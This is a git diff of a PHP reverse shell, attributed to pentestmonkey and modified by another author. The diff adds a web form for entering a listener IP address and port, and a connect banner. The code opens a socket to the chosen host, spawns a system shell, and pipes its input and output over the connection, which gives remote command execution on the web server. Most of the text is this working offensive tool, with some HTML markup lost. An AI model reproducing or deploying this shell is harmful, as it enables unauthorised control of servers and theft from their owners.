diff --git a/php-reverse-shell.php b/php-reverse-shell.php index 2503b71..fec143a 100755 --- a/php-reverse-shell.php +++ b/php-reverse-shell.php @@ -1,3 +1,29 @@ + + + ReverseSHELL + +
+ + + + + + + + + + + + + +
IP + +
Port +
+ +
+ +
" ; } - // Change to a safe directory chdir("/"); - // Remove any umask we inherited umask(0); - // // Do the reverse shell... // - // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } - // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); - $process = proc_open($shell, $descriptorspec, $pipes); - if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } - // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); - +fputs ($sock , + "\n=================================================================\n + Back Connect in PHP\n + @@author: pentestmonkey\n + Modified By: Tarunkant Gupta\n + \n================================================================="); printit("Successfully opened reverse shell to $ip:$port"); - while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } - // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } - // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { @@ -152,7 +165,6 @@ if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } - // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { @@ -161,7 +173,6 @@ if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } - // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { @@ -171,22 +182,18 @@ fwrite($sock, $input); } } - fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); - // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { + if (!$daemon) { print "$string\n"; } } - -?> - - +?>